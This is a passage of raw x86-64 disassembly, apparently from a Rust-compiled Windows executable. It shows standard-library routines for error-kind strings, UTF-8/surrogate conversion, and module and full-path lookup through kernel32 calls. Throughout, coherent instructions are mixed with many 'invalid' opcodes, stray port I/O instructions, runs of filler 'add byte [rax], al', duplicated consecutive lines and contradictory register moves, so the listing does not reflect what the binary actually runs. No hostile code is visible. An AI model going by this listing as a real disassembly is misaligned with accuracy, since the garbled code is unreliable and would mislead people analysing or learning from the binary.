call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
add eax, dword [rax]
mov eax, ebx
jmp 0x1400da90b
sar rax, 0x20
lea rcx, [0x140147f00]
mov rcx, qword [rcx + rax*8]
lea r8, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOs
mov rax, qword [r8 + rax*8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
lea rax, [rbp - 0x30]
mov qword [rbp - 0x10], rax
lea rax, [0x140013900]
mov qword [rbp - 8], rax
lea rax, [0x14016f7a8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
add byte [rax], al
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x10]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rbp - 0x60]
call fcn.140013960
nop
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov rax, qword [rax + 0x20]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
jmp rax
cmp rcx, rdi
je 0x1400dab70
lea r8, [r15 + rcx]
mov r12, rcx
mov rdx, r8
jmp 0x1400daa2f
add rdx, 2
cmp rax, r13
cmovne rax, rdx
mov r9d, 2
nop word cs:[rax + rax]
add r12, r9
mov rdx, rax
cmp rax, r13
je 0x1400dab73
lea rax, [rdx + 1]
movzx r10d, byte [rdx]
mov r9d, 1
test r10b, r10b
jns 0x1400daa20
cmp r10b, 0xe0
jb 0x1400daa01
cmp r10b, 0xed
jne 0x1400daa81
cmp rax, r13
je 0x1400dab73
lea r9, [rdx + 2]
cmp r9, r13
je 0x1400dab73
movzx eax, byte [rdx + 1]
movzx eax, ax
cmp eax, 0x9f
ja 0x1400daabd
add rdx, 3
mov r9d, 3
mov rax, rdx
jmp 0x1400daa20
add rdx, 2
cmp rax, r13
cmove rdx, rax
xor eax, eax
cmp rdx, r13
setne al
add rax, rdx
mov r9d, 3
cmp r10b, 0xf0
jb 0x1400daa20
xor edx, edx
cmp rax, r13
setne dl
add rax, rdx
mov r9d, 4
jmp 0x1400daa20
movzx edx, byte [r9]
and eax, 0x1f
shl eax, 6
and edx, 0x3f
add eax, edx
add eax, 0xd800
mov word [rbp + 6], ax
mov r9, r12
sub r9, rcx
jb 0x1400dabcb
cmp r12, rdi
ja 0x1400dabb9
mov rcx, rsi
mov rdx, r14
call fcn.1400dabe0
test al, al
jne 0x1400daba6
lea rax, [rbp + 6]
mov qword [rbp - 0x18], rax
lea rax, [0x140014220]
mov qword [rbp - 0x10], rax
lea rax, str.u
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 2
mov qword [rbp - 0x28], 0
lea rax, [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
mov rcx, rsi
mov rdx, r14
lea r8, [rbp - 0x48]
call fcn.140013960
test al, al
jne 0x1400daba6
add r12, 3
mov rcx, r12
cmp r12, rdi
cld
cld
jbe 0x1400da9ec
lea r8, [0x140146988]
mov rcx, r12
mov rdx, rdi
call fcn.140104660
mov rcx, rdi
sub rdi, rcx
add r15, rcx
mov rcx, rsi
mov rdx, r14
mov r8, r15
mov r9, rdi
call fcn.1400dabe0
test al, al
mov rax, qword [rbp - 8]
clc
clc
jne 0x1400daba6
lea rdx, [0x140148b04]
mov r8d, 1
mov rcx, rsi
call rax
mov ebx, eax
mov eax, ebx
add rsp, 0x78
js case.0x1400d7de1.88
js case.0x1400d7de1.88
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, [0x1401468f8]
mov rcx, r12
add byte [rcx + rcx*4 - 0x1f], cl
mov rdx, rdi
call fcn.1401046e0
invalid
wait
add al, byte [rax]
lea r8, [0x1401468f8]
mov rdx, r12
call fcn.1401048e0
int3
mov rdi, r8
mov qword [rbp - 0x58], rdx
mov qword [rbp - 0x50], rcx
add r9, r8
ror dword [rcx + rcx*4 + 0x45], 0xb8
ror dword [rcx + rcx*4 + 0x45], 0xb8
mov qword [rbp - 0x40], r9
mov byte [rbp - 0x38], 0x81
mov byte [rbp - 0x2c], 0x81
add dword [rcx - 0x4a], 0xba4981
add bh, bh
invalid
invalid
inc dword [rax]
invalid
add dword [rcx - 0x4a], 0xba4981
add bh, bh
invalid
add byte [rax], al
lea r11, [0x1401757a4]
sbb eax, 0x9ab77
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x20], r9
invalid
loopne 0x1400dabbf
retf 0x8944
mov eax, esp
add byte [rax], al
add eax, dword [rax]
add byte [rax - 0x7b], cl
dec dword [rdi]
test byte [rdi + 3], ch
add byte [rax], al
test edi, edi
test byte [rsi + 3], ah
add byte [rax], al
invalid
add byte [rdi], cl
mov dh, 0x17
invalid
invalid
invalid
add dword [rax], eax
add byte [rcx - 0x4a], al
pop rsp
fcos
loope 0x1400dacd1
mov al, 0x30
xor ecx, ecx
mov qword [rbp - 0x10], rcx
xor ebx, ebx
xor r13d, r13d
in eax, dx
in eax, dx
cmp r14b, 0x81
jne 0x1400dada8
jmp case.0x1400b9f4a.784
nop dword [rax]
add dword [r9 - 0x7d], r8d
loopne 0x1400dad01
loope 0x1400dad12
add dword [rax], eax
add byte [rdi + rcx - 0x4a], al
jg 0x1400dace7
loopne case.0x1400d9654.38
invalid
add al, byte [rax]
add byte [rbp - 0x77], al
mov r8d, r14d
jmp qword [rdi]
add byte [rax], al
nop word cs:[rax + rax]
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov r8b, 0x6e
jmp 0x1400dad90
mov r8b, 0x27
jmp 0x1400dad90
invalid
mov r8b, 0x74
jmp 0x1400dad90
add byte [rax], al
add byte [rax], al
mov dword [rbx], 0x90ce0c1
rol dword [rcx - 0x77], 0xcf
iretd
inc dword [rcx - 0x7d]
call [rbp + rsi*2 + 0x15]
jne 0x1400dae20
jp 0x1400dae19
add byte [rcx + rcx*4 + 0x45], al
in al, dx
sal byte [rbp + 0x42], 0x44
mov ecx, edi
stc
stc
sal byte [rsi + rsi + 0xf], 0xb7
invalid
mov bh, 0xd3
ror dword [rcx + rcx - 0x1e], cl
in al, dx
invalid
mov eax, edi
invalid
or byte [rax - 0x76bbfbbb], cl
clc
mov dh, 4
or byte [rax - 0x76bbfabb], cl
mov eax, edi
mov eax, edi
invalid
invalid
add cl, byte [rbp + rcx*4 + 0x68]
inc dh
mov byte [rbp + rax - 2], 0x7b
mov word [rbp + rax - 4], 0x755c
cld
pop rsp
jne 0x1400daf4a
movzx esi, word [rbp - 2]
mov eax, esi
or byte [rax - 0x75], cl
pop rbp
add byte [rcx - 0x77], cl
fmul qword [rcx - 0x7f]
in al, 0
add bh, bh
dec dword [rax - 0x77]
fmul dword [rax - 0x3f]
call 0x18596f759
xor byte [rax - 0x77], cl
invalid
invalid
xor byte [rax - 0x77], cl
invalid
loopne 0x1400daf7a
mov edx, 0xffff0000
invalid
inc dword [rax]
add byte [rbp + rcx*4 + 0x1d], cl
invalid
invalid
sbb eax, 0x9a863
inc byte [rcx - 0x1a27af1]
invalid
in al, dx
lea eax, [rbp - 0x38]
or byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add bh, al
call 0x1400daf6a
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
xor edi, edi
inc dword [rbp + 0x31]
in al, 0x45
xor esi, esi
invalid
imul bl
and eax, dword [rax + rcx*4 + 0x75]
mov byte [rbp - 0x38], dh
lea r12d, [rax + 1]
invalid
add dword [rax + rcx*4 + 0x65], eax
mov byte [rbp - 0x38], dh
lea r12d, [rax + 1]
invalid
invalid
lea esp, [rax + 1]
invalid
mov byte [rbp - 0x2e], r12b
movzx ecx, al
ror byte [rdi], cl
mov dh, 0xc8
cmp al, 0xa
jae 0x1400dafe1
pop rcx
mov dword [rbp - 0x14], r8d
in al, dx
mov eax, edx
mov dword [rbp - 0x18], edx
movzx eax, byte [rbp + rcx - 0x38]
invalid
mov edx, eax
enter 0xffffffffffffc289, 0x48
mov ecx, dword [rbp - 0x50]
invalid
mov al, 0x48
mov eax, dword [rbp - 0x58]
test al, 0xff
push rax
and byte [rax + rax*8 - 0x1fb274b4], al
invalid
invalid
loopne case.0x1400b56c9.820
mov edx, 0xffff0000
invalid
inc dword [rax]
add byte [rbp + rcx*4 + 0x1d], cl
invalid
mov eax, dword [rbp - 0x14]
call 0x13c7c33d4
cld
invalid
push qword [rax + 0x3102eb01]
ror byte [rax - 0x7f], 0xc4
invalid
mov byte [rax], al
add byte [rax], al
invalid
pop rbp
lea r8, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_srcescape.rs
mov edx, 0xa
add byte [rax], al
add al, ch
jle case.0x1400a5610.903
xchg esi, eax
add al, byte [rax]
pop rax
movsd dword [rdi], dword [rsi]
invalid
add byte [rax], al
add al, ch
jle case.0x1400a5610.903
xchg esi, eax
int3
int3
int3
int3
int3
int3
push rbp
mov rbp, rsp
mov ebp, esp
mov rax, qword [rcx]
mov r10, qword [rcx + 8]
or byte [rbx + rcx*4 + 0x42], cl
invalid
or byte [rbx + rcx*4 + 0x42], cl
and byte [rbx + rcx*4 + 0x4a], cl
mov r9, qword [rdx + 0x28]
mov rcx, rax
mov ecx, eax
mov rdx, r10
pop rbp
mov eax, dword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
mov rcx, rax
mov ecx, eax
mov ecx, eax
mov rdx, r10
pop rbp
jmp fcn.1400da9a0
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x498
in al, dx
cwde
add al, 0
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rbp + 0x410], 0xfffffffe
in al, dx
cwde
add al, 0
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test dword [rax], edx
add al, 0
add dh, bh
mov dword [rbp + 0x410], 0xfffffffe
invalid
mov qword [rbp + 0x3f0], rcx
mov dword [rbp + 0x3f0], ecx
lock add eax, dword [rax]
add byte [rax - 0x39], cl
invalid
invalid
test eax, edi
add eax, dword [rax]
mov qword [rbp + 0x3f8], 0
mov dword [rbp + 0x3f8], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test dword [rax], eax
add byte [rax + rax], al
mov qword [rbp + 0x400], 2
add byte [rax + rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], ecx
mov qword [rbp + 0x408], 0
mov r8d, 0x200
mov eax, 0x200
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rdx], al
mov eax, 0x200
add byte [rax], al
mov eax, 2
mov qword [rbp + 0x3e8], rax
invalid
add byte [rax], al
add byte [rax - 0x77], cl
test eax, ebp
add eax, dword [rax]
add byte [rcx], dh
div byte [rcx]
xor esi, esi
xor edi, edi
push qword [rcx]
fisttp dword [rcx - 0x7f]
clc
add dword [rdx], eax
add al, byte [rax]
invalid
push qword [rcx]
fisttp dword [rcx - 0x7f]
clc
add dword [rdx], eax
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rbx + 0x31], dh
jae 0x1400db0c0
jae 0x1400db0c0
jmp case.0x1400b40f6.844
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
sbb ebx, 0
add byte [rax], al
jae 0x1400db181
cmp r8, 0x201
jae 0x1400db0c0
mov r14d, 0x200
add byte [rax], al
lea r15, [rbp - 0x60]
mov r12, r8
mov esp, eax
mov esp, eax
jmp 0x1400db117
nop
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x1400db0ef
lea rcx, [rbp + 0x3f8]
mov rdx, rbx
call fcn.14010c720
invalid
add eax, dword [rax]
mov rsi, qword [rbp + 0x3f8]
mov rax, qword [rbp + 0x400]
test dword [rax], eax
add al, 0
add byte [rax - 0x77], cl
test eax, ebp
add eax, dword [rax]
invalid
clc
add eax, dword [rax]
add byte [rax - 0x77], cl
invalid
invalid
test dword [rax], eax
add al, 0
add byte [rax - 0x77], cl
test eax, ebp
add eax, dword [rax]
add byte [rax - 1], bh
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
cmovb ebx, esi
fimul word [rax - 0x77]
popfq
or byte [rax + rax], al
invalid
fimul word [rax - 0x77]
popfq
or byte [rax + rax], al
add byte [rax - 0x77], cl
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3e8]
add byte [rax], al
mov r12, rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3e8]
add byte [rax], al
add byte [rax], al
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
add eax, dword [rax]
xor ecx, ecx
mov rdx, r15
mov r8d, r12d
call qword [sym.imp.kernel32.dll_GetModuleFileNameW]
mov r13d, eax
test eax, eax
invalid
jne 0x1400db142
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400db1f8
mov r8d, r13d
cmp r12, r8
jne 0x1400db0a0
invalid
invalid
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400db22a
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
clc
add dword [rdx], eax
add byte [rax], al
clc
add dword [rdx], eax
add byte [rax], al
jb case.0x1400b40f6.844
jmp 0x1400db0c0
invalid
cmp r14, r8
jb 0x1400db244
invalid
invalid
add byte [rax], al
invalid
invalid
lea rcx, [rbp + 0x3c8]
mov rdx, r15
call fcn.1400d8450
movups xmm0, xmmword [rbp + 0x3c8]
add byte [rax], al
movups xmm1, xmmword [rbp + 0x3d8]
add byte [rax], al
movaps xmmword [rbp + 0x3b0], xmm1
movaps xmmword [rbp + 0x3a0], xmm0
sub dword [rbp + 0x3a0], eax
sub dword [rbp + 0x3a0], eax
mov rax, qword [rbp + 0x3f0]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
cmp qword [rbp + 0x3f8], 0
je 0x1400db1e3
mov r8, qword [rbp + 0x400]
mov rcx, qword [0x14017d208]
mov ecx, dword [0x14017d208]
mov ecx, dword [0x14017d208]
sub eax, 0x31000a20
sar bh, cl
adc eax, 0x3421d
add eax, dword [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
add eax, dword [rax]
nop
add rsp, 0x498
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x3410a
shl rax, 0x20
or rax, 2
enter 0x4802, 0xffffffffffffff8b
invalid
lock add eax, dword [rax]
invalid
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff8b
invalid
mov ecx, dword [rbp + 0x3f0]
mov qword [rcx + 8], rax
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax + 0x48018948], al
cmp dword [rbp + 0x3f8], 0
add byte [rax + 0x48018948], al
cmp dword [rbp + 0x3f8], 0
jne 0x1400db1cd
jmp 0x1400db1e3
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
add byte [rax], al
add al, ch
scasb al, byte [rdi]
xchg esp, eax
add al, byte [rax]
add byte [rax], al
add al, ch
scasb al, byte [rdi]
xchg esp, eax
add al, byte [rax]
jmp 0x1400db259
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.1401046e0
invalid
xchg esp, eax
add al, byte [rax]
xchg dword [rdx + rax + 0xf0b0f00], edx
ud2
or ecx, dword [rdi]
invalid
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0x3f8], 0
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
je 0x1400db29c
add byte [rax + rax], al
add byte [rax - 0x75], cl
or eax, 0xa1f74
invalid
or al, byte [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
sub byte [rbx + 0x5f], bl
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rdi, r8
invalid
mov rsi, rcx
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 8]
invalid
mov ecx, dword [rcx + 8]
mov rbx, qword [rsi + 0x10]
xor r14d, r14d
xor esi, esi
xor esi, esi
mov eax, 0
cmp rbx, 3
jb 0x1400db31c
invalid
cmp eax, dword [rdi + rcx - 0x4a]
or r15d, esi
movzx r8d, byte [rbx + rcx - 2]
mov r9d, r8d
and r9b, 0xf0
xor r14d, r14d
cmp r9b, 0xa0
jne 0x1400db31c
xor r14d, r14d
cmp byte [rbx + rcx - 3], 0xed
jl 0x1400db308
std
in eax, dx
jl 0x1400db308
std
in eax, dx
jne 0x1400db31c
movzx r14d, byte [rbx + rcx - 1]
or edi, edi
and r8d, 0xf
and eax, 0xf
and r14d, 0x3f
shl r8d, 0x10
shl r14d, 0xa
out 0xa, al
out 0xa, al
or r14d, r8d
mov al, 1
invalid
cmp rdi, 3
jb 0x1400db3f0
cmp byte [rdx], 0xed
jne 0x1400db3f9
movzx r15d, byte [rdx + 1]
mov r8d, r15d
and r8b, 0xf0
cmp r8b, 0xb0
jne 0x1400db3f9
test al, al
je 0x1400db3f9
lodsb al, byte [rsi]
add byte [rax], al
invalid
lodsb al, byte [rsi]
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
invalid
movzx r12d, byte [rdx + 2]
cmp rbx, 3
jb 0x1400db360
add rbx, 0xfffffffffffffffd
mov qword [rsi + 0x10], rbx
pop rsi
invalid
pop rsi
adc byte [rcx - 0x3f], al
out 6, eax
shl r15d, 6
and r12d, 0x3f
and esp, 0x3f
lea r8, [rdi + 1]
mov rax, qword [rsi]
mov rcx, rax
mov ecx, eax
sub rcx, rbx
cmp rcx, r8
ror dword [rdi], 0x82
invalid
add qword [rax], r8
invalid
invalid
add rdi, 0xfffffffffffffffd
and r15d, 0x3c0
add eax, dword [rax]
add byte [rbp + 9], al
invalid
or r12d, r15d
or esp, edi
add eax, dword [rax]
add byte [rbp + 9], al
test dword [rbp + 9], 0xb48d45fc
or esp, edi
lea r14d, [r12 + 0x10000]
mov r13d, r14d
or esp, edi
lea r14d, [r12 + 0x10000]
lea esi, [rsp + 0x10000]
mov r13d, r14d
shr r13d, 0x12
cmp rcx, 3
invalid
add ecx, dword [rdi]
xchg byte [rdi + 1], al
add dword [r8], r8d
invalid
jbe case.0x1400978a6.986
add dword [r8], r8d
add byte [rax - 0x7d], cl
ret 0x4803
add rdx, 3
mov rcx, qword [rsi + 8]
and r12d, 0x3f
shl r12d, 0x18
in al, 0x18
in al, 0x18
shl r15d, 0xa
and r15d, 0x3f0000
and edi, 0x3f0000
or r15d, r12d
or edi, esp
shr r14d, 4
and r14d, 0x3f00
invalid
add byte [rbp + 9], al
inc byte [rdi - 0x73]
add al, 0x2e
invalid
or r14d, r15d
lea r8d, [r14 + r13]
invalid
add r8d, 0x808080f0
add r8d, 0x808080f0
mov dword [rcx + rbx], r8d
add rbx, 4
add ebx, 4
add ebx, 4
add al, 0x48
mov qword [rsi + 0x10], rbx
mov dword [rsi + 0x10], ebx
jmp 0x1400db483
xchg ebx, eax
add byte [rax], al
add byte [rax - 0x7b], cl
dec dword [rdi]
test byte [rdi + 0x48000000], al
invalid
invalid
test rdi, rdi
je 0x1400db480
invalid
add byte [rax - 0x73], cl
add al, 0x3a
lea rax, [rdx + rdi]
lea eax, [rdx + rdi]
mov r9, rdx
jmp 0x1400db418
invalid
shr ebx, 1
invalid
add r9, 2
cmp r8, rax
cmovne r8, r9
nop dword [rax]
add cl, byte [rcx + 0x39]
ror byte [rbp + 0xf], 0x45
ror dword [rdi], 0x1f
add byte [rbp - 0x77], cl
ror dword [rcx + 0x39], 0xc0
cmp r8, rax
mov r9, r8
cmp r8, rax
cmp eax, eax
sal byte [rax + rbp*2 + 0x4d], 0x8d
add dword [r13 + 0xf], eax
movzx r10d, byte [r9]
je 0x1400db480
lea r8, [r9 + 1]
lea eax, [rcx + 1]
movzx r10d, byte [r9]
test r10b, r10b
jns 0x1400db410
cmp r10b, 0xe0
jb 0x1400db402
loopne 0x1400db49c
xlatb
cmp r10b, 0xed
cmp dl, 0xed
cli
in eax, dx
jne 0x1400db44f
cmp r8, rax
je 0x1400db480
lea r8, [r9 + 2]
cmp r8, rax
je 0x1400db480
cmp byte [r9 + 1], 0x9f
lahf
ja 0x1400db47c
add r9, 3
mov r8, r9
jmp 0x1400db410
add r9, 2
cmp r8, rax
cmove r9, r8
enter 0x3145, 0xffffffffffffffc0
enter 0x3145, 0xffffffffffffffc0
cmp r9, rax
setne r8b
add r8, r9
cmp r10b, 0xf0
jb 0x1400db410
invalid
movabs dword [0xf41c03949c93145], eax
xchg ebp, eax
ror dword [rbp + 1], 0xc8
xor r9d, r9d
cmp r8, rax
setne r9b
add r8, r9
jmp 0x1400db410
mov byte [rsi + 0x18], 0
mov rax, qword [rsi]
sub rax, rbx
cmp rax, rdi
cmp eax, edi
cmp eax, edi
jb 0x1400db4ae
add rcx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rdi
mov qword [rsi + 0x10], rbx
add rsp, 0x28
adc byte [rax - 0x7d], cl
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rsi
mov r14, rdx
mov rdx, rbx
mov r8, rdi
call fcn.14010c590
mov rdx, r14
mov rcx, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
jmp 0x1400db48b
mov rcx, rsi
mov r13, rdx
mov rdx, rbx
mov edx, ebx
call fcn.14010c590
mov rdx, r13
mov rax, qword [rsi]
mov rbx, qword [rsi + 0x10]
adc byte [rax - 0x77], cl
ror dword [rax + 0x29], 0xd9
jmp 0x1400db37e
invalid
mov r8d, 4
mov rcx, rsi
mov ecx, esi
mov qword [rbp], rdx
mov rdx, rbx
invalid
call fcn.14010c590
mov rdx, qword [rbp]
mov rax, qword [rsi]
mov rbx, qword [rsi + 0x10]
pop rsi
adc cl, ch
jmp 0x1400db3a8
add byte [rax], al
add byte [rsi + 0x41], ah
cmp dword [rcx + 2], 0x3a
jne case.0x1400b40f6.882
movzx eax, word [r9 + 4]
jmp 0x1400db5bc
cmp dword [rcx], 0
jne 0x1400db610
insb byte [rdi], dx
jmp 0x1400db5fd
cmp word [r9 + 2], 0x3a
jne case.0x1400b40f6.882
movzx eax, word [r9 + 4]
test ax, ax
je 0x1400dba35
add byte [rax], al
cmp ax, 0x2f
cmp eax, 0x2f
invalid
je 0x1400db5ca
movzx eax, ax
cmp eax, 0x5c
jne case.0x1400b40f6.882
movzx eax, word [r9]
cmp eax, 0x2f
je 0x1400db5e0
cmp eax, 0x5c
je 0x1400db5e0
jmp 0x1400db5fd
movzx eax, word [r9]
movzx eax, word [rcx]
cmp ax, 0x5c
je 0x1400db5ee
movzx eax, ax
cmp eax, 0x2f
jne 0x1400db610
movzx eax, word [r9 + 2]
cmp eax, 0x5c
je 0x1400db5fd
mov bh, 0x41
add al, byte [rbx + 0x5745cf8]
cmp eax, 0x5c
je 0x1400db5fd
cmp eax, 0x2f
jne 0x1400db610
mov rax, qword [rdx + 0x10]
mov qword [rcx + 0x10], rax
adc byte [rdi], cl
adc byte [rdx], al
invalid
adc byte [rdi], cl
adc byte [rdx], al
invalid
add cl, byte [rdi]
adc dword [rcx], eax
movups xmmword [rcx], xmm0
jmp 0x1400dba21
add al, 0
add byte [rcx + rcx*4 - 0x73], cl
call 0x1880db61b
mov dword [rbp + 0x3e0], ecx
mov qword [rbp + 0x3e8], r9
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x408], rdx
mov qword [rbp + 0x3f0], 0
test eax, esi
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test eax, edi
clc
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rdx], al
add al, byte [rax]
invalid
or byte [rax + rax], al
add byte [rax - 0x39], cl
test eax, esi
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test eax, edi
clc
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], eax
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rdx], al
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax + 2], bh
mov eax, 2
mov qword [rbp + 0x3d8], rax
xor edi, edi
xor r14d, r14d
xor r15d, r15d
xor edi, edi
dec dword [rcx - 0x7f]
clc
add dword [rdx], eax
add byte [rax], al
invalid
jae 0x1400db690
jmp 0x1400db67f
jae case.0x1400b56c9.869
cmp r8, 0x201
clc
add dword [rdx], eax
invalid
add byte [rax], al
jae 0x1400db690
mov r12d, 0x200
lea rbx, [rbp - 0x58]
mov r13, r8
jmp 0x1400db6e8
sub r8, r15
sub r14, r15
cmp r14, r8
jae 0x1400db6bf
lea rcx, [rbp + 0x3f0]
mov rdx, r15
mov edx, edi
call fcn.14010c720
mov rdi, qword [rbp + 0x3f0]
add byte [rax], al
adc byte [rbx], al
add byte [rax - 0x75], cl
mov ebp, 0x3f0
add byte [rax], al
add byte [rax], al
mov rax, qword [rbp + 0x3f8]
mov qword [rbp + 0x3d8], rax
fadd dword [rbx]
add byte [rax], al
invalid
add byte [rax - 0x77], cl
test eax, ebx
fadd dword [rbx]
invalid
fadd dword [rbx]
add byte [rax], al
invalid
add byte [rax - 1], bh
mov eax, 0xffffffff
dec dword [rax + 0x39]
mov dword [rcx - 0x41], 0xffffffff
invalid
invalid
cmp rdi, rax
mov r15d, 0xffffffff
invalid
invalid
invalid
cmovb r15, rdi
mov qword [rbp + 0x400], r15
mov dword [rbp + 0x400], edi
mov dword [rbp + 0x400], edi
add byte [rcx - 0x77], cl
dec byte [rbp - 0x77]
cld
mov r14, rdi
mov r12, r15
mov rbx, qword [rbp + 0x3d8]
fadd dword [rbx]
add byte [rax], al
mov r13, r15
mov ebp, edi
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
adc eax, 0x33b28
adc eax, 0x33b28
mov rcx, qword [rbp + 0x3e8]
add byte [rax], al
mov edx, r13d
mov r8, rbx
mov eax, ebx
mov eax, ebx
xor r9d, r9d
call qword [sym.imp.kernel32.dll_GetFullPathNameW]
mov esi, eax
invalid
test eax, eax
jne 0x1400db71a
mov byte [rbp - 0xf18a40], 0x15
idiv byte [rbx]
cmp eax, dword [rbx]
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, dword [rbx]
add byte [rbp - 0x607af040], al
lahf
test eax, eax
jne case.0x1400b9f4a.839
lahf
add byte [rax], al
invalid
lahf
add byte [rax], al
add byte [rcx - 0x77], al
mov eax, esi
mov r8d, esi
mov eax, esi
cmp r13, r8
jne 0x1400db670
invalid
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
add eax, dword [rax]
add byte [rbx - 0x7af08508], al
cmp eax, 0x7a
jne 0x1400dba60
sub eax, dword [rbx]
add byte [rax], al
add r13, r13
add ebp, ebp
mov eax, 0xffffffff
cmp r13, rax
invalid
cmovae r13, rax
mov r8, r13
mov eax, ebp
invalid
mov eax, ebp
cmp r8, 0x201
clc
add dword [rdx], eax
add byte [rax], al
invalid
add al, byte [rax]
add byte [rdi], cl
invalid
jb 0x1400db67f
sub edi, edi
invalid
jmp 0x1400db690
invalid
cmp r12, r8
cmp esp, eax
jb 0x1400dba7a
add byte [rbx + rcx*4 - 0x5b], cl
mov r12, qword [rbp + 0x408]
movsd dword [rdi], dword [rsi]
or byte [rax + rax], al
add byte [rcx - 0x39], cl
invalid
invalid
and al, 0x10
adc byte [rax], al
invalid
mov qword [r12 + 0x10], 0
adc byte [rax], al
add byte [rax], al
add byte [rbx - 0x79f0fd02], al
jbe 0x1400db82a
movzx eax, word [rbx + 2]
cmp eax, 0x3a
invalid
invalid
add byte [rax], al
cmp esi, 2
jbe 0x1400db82a
movzx eax, word [rbx + 2]
cmp eax, 0x3a
